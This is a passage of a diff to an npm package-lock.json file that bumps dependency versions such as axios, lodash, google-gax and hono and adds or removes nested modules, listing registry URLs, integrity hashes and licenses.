-      "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=4.0"
-      }
-    },
     "node_modules/axios": {
-      "version": "1.14.0",
-      "resolved": "https://registry.npmjs.org/axios/-/axios-1.14.0.tgz",
-      "integrity": "sha512-3Y8yrqLSwjuzpXuZ0oIYZ/XGgLwUIBU3uLvbcpb0pidD9ctpShJd43KSlEEkVQg6DS0G9NKyzOvBfUtDKEyHvQ==",
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz",
+      "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==",
       "license": "MIT",
       "dependencies": {
         "follow-redirects": "^1.15.11",
@@ -13337,7 +13208,8 @@
     "node_modules/balanced-match": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "license": "MIT"
     },
     "node_modules/base64-js": {
       "version": "1.5.1",
@@ -13454,31 +13326,6 @@
         "node": ">=8"
       }
     },
-    "node_modules/bl": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/bl/-/bl-5.1.0.tgz",
-      "integrity": "sha512-tv1ZJHLfTDnXE6tMHv73YgSJaWR2AFuPwMntBe7XL/GBFHnT0CLnsHMogfk5+GzCDC5ZWarSCYaIGATZt9dNsQ==",
-      "dev": true,
-      "dependencies": {
-        "buffer": "^6.0.3",
-        "inherits": "^2.0.4",
-        "readable-stream": "^3.4.0"
-      }
-    },
-    "node_modules/bl/node_modules/readable-stream": {
-      "version": "3.6.2",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
-      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
-      "dev": true,
-      "dependencies": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
-      },
-      "engines": {
-        "node": ">= 6"
-      }
-    },
     "node_modules/bn.js": {
       "version": "4.12.3",
       "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
@@ -13815,13 +13662,12 @@
       "integrity": "sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA=="
     },
     "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
-      "dev": true,
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.3.tgz",
+      "integrity": "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==",
+      "license": "MIT",
       "dependencies": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
+        "balanced-match": "^1.0.0"
       }
     },
     "node_modules/braces": {
@@ -14043,15 +13889,6 @@
         "node": "20 || >=22"
       }
     },
-    "node_modules/cacache/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/call-bind": {
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
@@ -14269,11 +14106,12 @@
       }
     },
     "node_modules/chownr": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
-      "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz",
+      "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==",
+      "license": "BlueOak-1.0.0",
       "engines": {
-        "node": ">=10"
+        "node": ">=18"
       }
     },
     "node_modules/cipher-base": {
@@ -14312,21 +14150,6 @@
         "node": ">=6"
       }
     },
-    "node_modules/cli-cursor": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-4.0.0.tgz",
-      "integrity": "sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==",
-      "dev": true,
-      "dependencies": {
-        "restore-cursor": "^4.0.0"
-      },
-      "engines": {
-        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/cli-spinners": {
       "version": "2.9.2",
       "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz",
@@ -14346,6 +14169,78 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/cliui": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
+      "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
+      "license": "ISC",
+      "dependencies": {
+        "string-width": "^4.2.0",
+        "strip-ansi": "^6.0.1",
+        "wrap-ansi": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/cliui/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/cliui/node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
+    },
+    "node_modules/cliui/node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/cliui/node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/cliui/node_modules/wrap-ansi": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+      "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^4.0.0",
+        "string-width": "^4.1.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+      }
+    },
     "node_modules/cluster-key-slot": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz",
@@ -14490,7 +14385,8 @@
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
       "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/conf": {
       "version": "15.0.2",
@@ -16601,9 +16497,9 @@
       "integrity": "sha512-eel5UKGn369gGEWOqBShmFJWfq/xSJvsgDzgLYC845GneayWvXBf0lJCBn5qTABfewy1ZDPoaR5OZCP+kssfuw=="
     },
     "node_modules/fast-xml-builder": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.1.4.tgz",
-      "integrity": "sha512-f2jhpN4Eccy0/Uz9csxh3Nu6q4ErKxf0XIsasomfOihuSUa3/xw6w8dnOtCDgEItQFJG8KyXPzQXzcODDrrbOg==",
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.1.5.tgz",
+      "integrity": "sha512-4TJn/8FKLeslLAH3dnohXqE3QSoxkhvaMzepOIZytwJXZO69Bfz0HBdDHzOTOon6G59Zrk6VQ2bEiv1t61rfkA==",
       "funding": [
         {
           "type": "github",
@@ -16616,9 +16512,9 @@
       }
     },
     "node_modules/fast-xml-parser": {
-      "version": "5.5.9",
-      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.5.9.tgz",
-      "integrity": "sha512-jldvxr1MC6rtiZKgrFnDSvT8xuH+eJqxqOBThUVjYrxssYTo1avZLGql5l0a0BAERR01CadYzZ83kVEkbyDg+g==",
+      "version": "5.7.1",
+      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.1.tgz",
+      "integrity": "sha512-8Cc3f8GUGUULg34pBch/KGyPLglS+OFs05deyOlY7fL2MTagYPKrVQNmR1fLF/yJ9PH5ZSTd3YDF6pnmeZU+zA==",
       "funding": [
         {
           "type": "github",
@@ -16627,9 +16523,10 @@
       ],
       "license": "MIT",
       "dependencies": {
-        "fast-xml-builder": "^1.1.4",
-        "path-expression-matcher": "^1.2.0",
-        "strnum": "^2.2.2"
+        "@nodable/entities": "^2.1.0",
+        "fast-xml-builder": "^1.1.5",
+        "path-expression-matcher": "^1.5.0",
+        "strnum": "^2.2.3"
       },
       "bin": {
         "fxparser": "src/cli/cli.js"
@@ -17126,28 +17023,6 @@
         "node": ">= 0.6"
       }
     },
-    "node_modules/fs-minipass": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
-      "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
-      "dependencies": {
-        "minipass": "^3.0.0"
-      },
-      "engines": {
-        "node": ">= 8"
-      }
-    },
-    "node_modules/fs-minipass/node_modules/minipass": {
-      "version": "3.3.6",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
-      "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/fs-readdir-recursive": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
@@ -17339,15 +17214,6 @@
         "is-property": "^1.0.2"
       }
     },
-    "node_modules/generator-function": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz",
-      "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==",
-      "license": "MIT",
-      "engines": {
-        "node": ">= 0.4"
-      }
-    },
     "node_modules/generic-pool": {
       "version": "3.9.0",
       "resolved": "https://registry.npmjs.org/generic-pool/-/generic-pool-3.9.0.tgz",
@@ -17505,15 +17371,6 @@
         "node": ">= 6"
       }
     },
-    "node_modules/glob/node_modules/brace-expansion": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.3.tgz",
-      "integrity": "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==",
-      "license": "MIT",
-      "dependencies": {
-        "balanced-match": "^1.0.0"
-      }
-    },
     "node_modules/glob/node_modules/minimatch": {
       "version": "9.0.9",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
@@ -17529,15 +17386,6 @@
         "url": "https://github.com/sponsors/isaacs"
       }
     },
-    "node_modules/glob/node_modules/minipass": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
-      "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
-      "license": "ISC",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/globals": {
       "version": "13.23.0",
       "resolved": "https://registry.npmjs.org/globals/-/globals-13.23.0.tgz",
@@ -17617,54 +17465,136 @@
       }
     },
     "node_modules/google-gax": {
-      "version": "4.4.1",
-      "resolved": "https://registry.npmjs.org/google-gax/-/google-gax-4.4.1.tgz",
-      "integrity": "sha512-Phyp9fMfA00J3sZbJxbbB4jC55b7DBjE3F6poyL3wKMEBVKA79q6BGuHcTiM28yOzVql0NDbRL8MLLh8Iwk9Dg==",
+      "version": "5.0.6",
+      "resolved": "https://registry.npmjs.org/google-gax/-/google-gax-5.0.6.tgz",
+      "integrity": "sha512-1kGbqVQBZPAAu4+/R1XxPQKP0ydbNYoLAr4l0ZO2bMV0kLyLW4I1gAk++qBLWt7DPORTzmWRMsCZe86gDjShJA==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@grpc/grpc-js": "^1.10.9",
-        "@grpc/proto-loader": "^0.7.13",
-        "@types/long": "^4.0.0",
-        "abort-controller": "^3.0.0",
-        "duplexify": "^4.0.0",
-        "google-auth-library": "^9.3.0",
-        "node-fetch": "^2.7.0",
+        "@grpc/grpc-js": "^1.12.6",
+        "@grpc/proto-loader": "^0.8.0",
+        "duplexify": "^4.1.3",
+        "google-auth-library": "^10.1.0",
+        "google-logging-utils": "^1.1.1",
+        "node-fetch": "^3.3.2",
         "object-hash": "^3.0.0",
-        "proto3-json-serializer": "^2.0.2",
-        "protobufjs": "^7.3.2",
-        "retry-request": "^7.0.0",
-        "uuid": "^9.0.1"
+        "proto3-json-serializer": "^3.0.0",
+        "protobufjs": "^7.5.3",
+        "retry-request": "^8.0.0",
+        "rimraf": "^5.0.1"
       },
       "engines": {
-        "node": ">=14"
+        "node": ">=18"
       }
     },
-    "node_modules/google-gax/node_modules/@types/long": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/@types/long/-/long-4.0.2.tgz",
-      "integrity": "sha512-MqTGEo5bj5t157U6fA/BiDynNkn0YknVdh48CMPkTSpFTVmvao5UQmm7uEF6xBEo7qIMAlY/JSleYaE6VOdpaA==",
-      "license": "MIT"
-    },
-    "node_modules/google-gax/node_modules/object-hash": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
-      "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+    "node_modules/google-gax/node_modules/agent-base": {
+      "version": "7.1.4",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
+      "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
       "license": "MIT",
       "engines": {
-        "node": ">= 6"
+        "node": ">= 14"
       }
     },
-    "node_modules/google-gax/node_modules/uuid": {
-      "version": "9.0.1",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz",
-      "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==",
-      "funding": [
-        "https://github.com/sponsors/broofa",
-        "https://github.com/sponsors/ctavan"
-      ],
-      "license": "MIT",
-      "bin": {
-        "uuid": "dist/bin/uuid"
+    "node_modules/google-gax/node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/google-gax/node_modules/gaxios": {
+      "version": "7.1.4",
+      "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz",
+      "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "extend": "^3.0.2",
+        "https-proxy-agent": "^7.0.1",
+        "node-fetch": "^3.3.2"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/google-gax/node_modules/gcp-metadata": {
+      "version": "8.1.2",
+      "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz",
+      "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "gaxios": "^7.0.0",
+        "google-logging-utils": "^1.0.0",
+        "json-bigint": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/google-gax/node_modules/google-auth-library": {
+      "version": "10.6.2",
+      "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz",
+      "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "base64-js": "^1.3.0",
+        "ecdsa-sig-formatter": "^1.0.11",
+        "gaxios": "^7.1.4",
+        "gcp-metadata": "8.1.2",
+        "google-logging-utils": "1.1.3",
+        "jws": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/google-gax/node_modules/https-proxy-agent": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
+      "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
+      "license": "MIT",
+      "dependencies": {
+        "agent-base": "^7.1.2",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/google-gax/node_modules/node-fetch": {
+      "version": "3.3.2",
+      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz",
+      "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==",
+      "license": "MIT",
+      "dependencies": {
+        "data-uri-to-buffer": "^4.0.0",
+        "fetch-blob": "^3.1.4",
+        "formdata-polyfill": "^4.0.10"
+      },
+      "engines": {
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/node-fetch"
+      }
+    },
+    "node_modules/google-gax/node_modules/object-hash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+      "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 6"
       }
     },
     "node_modules/google-logging-utils": {
@@ -17906,9 +17836,9 @@
       }
     },
     "node_modules/hono": {
-      "version": "4.12.9",
-      "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.9.tgz",
-      "integrity": "sha512-wy3T8Zm2bsEvxKZM5w21VdHDDcwVS1yUFFY6i8UobSsKfFceT7TOwhbhfKsDyx7tYQlmRM5FLpIuYvNFyjctiA==",
+      "version": "4.12.12",
+      "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.12.tgz",
+      "integrity": "sha512-p1JfQMKaceuCbpJKAPKVqyqviZdS0eUxH9v82oWo1kb9xjQ5wA6iP3FNVAPDFlz5/p7d45lO+BpSk1tuSZMF4Q==",
       "license": "MIT",
       "engines": {
         "node": ">=16.9.0"
@@ -18303,22 +18233,6 @@
         "node": ">= 0.10"
       }
     },
-    "node_modules/is-arguments": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.2.0.tgz",
-      "integrity": "sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==",
-      "license": "MIT",
-      "dependencies": {
-        "call-bound": "^1.0.2",
-        "has-tostringtag": "^1.0.2"
-      },
-      "engines": {
-        "node": ">= 0.4"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
     "node_modules/is-array-buffer": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz",
@@ -18452,25 +18366,6 @@
         "node": ">=8"
       }
     },
-    "node_modules/is-generator-function": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz",
-      "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==",
-      "license": "MIT",
-      "dependencies": {
-        "call-bound": "^1.0.4",
-        "generator-function": "^2.0.0",
-        "get-proto": "^1.0.1",
-        "has-tostringtag": "^1.0.2",
-        "safe-regex-test": "^1.1.0"
-      },
-      "engines": {
-        "node": ">= 0.4"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
     "node_modules/is-glob": {
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
@@ -18600,6 +18495,7 @@
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
       "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "call-bound": "^1.0.2",
@@ -18694,18 +18590,6 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/is-unicode-supported": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz",
-      "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==",
-      "dev": true,
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/is-weakref": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
@@ -18805,14 +18689,6 @@
         "jiti": "lib/jiti-cli.mjs"
       }
     },
-    "node_modules/jmespath": {
-      "version": "0.16.0",
-      "resolved": "https://registry.npmjs.org/jmespath/-/jmespath-0.16.0.tgz",
-      "integrity": "sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw==",
-      "engines": {
-        "node": ">= 0.6.0"
-      }
-    },
     "node_modules/jose": {
       "version": "6.1.3",
       "resolved": "https://registry.npmjs.org/jose/-/jose-6.1.3.tgz",
@@ -19572,9 +19448,9 @@
       }
     },
     "node_modules/lodash": {
-      "version": "4.17.23",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.23.tgz",
-      "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==",
+      "version": "4.18.1",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz",
+      "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==",
       "license": "MIT"
     },
     "node_modules/lodash.camelcase": {
@@ -19659,22 +19535,6 @@
       "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
       "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="
     },
-    "node_modules/log-symbols": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-5.1.0.tgz",
-      "integrity": "sha512-l0x2DvrW294C9uDCoQe1VSU4gf529FkSZ6leBl4TiqZH/e+0R7hSfHQBNut2mNygDgHwvYHfFLn6Oxb3VWj2rA==",
-      "dev": true,
-      "dependencies": {
-        "chalk": "^5.0.0",
-        "is-unicode-supported": "^1.1.0"
-      },
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/logform": {
       "version": "2.6.1",
       "resolved": "https://registry.npmjs.org/logform/-/logform-2.6.1.tgz",
@@ -19793,15 +19653,6 @@
         "node": "^20.17.0 || >=22.9.0"
       }
     },
-    "node_modules/make-fetch-happen/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/make-fetch-happen/node_modules/negotiator": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz",
@@ -19938,15 +19789,6 @@
         "node": ">= 0.6"
       }
     },
-    "node_modules/mimic-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
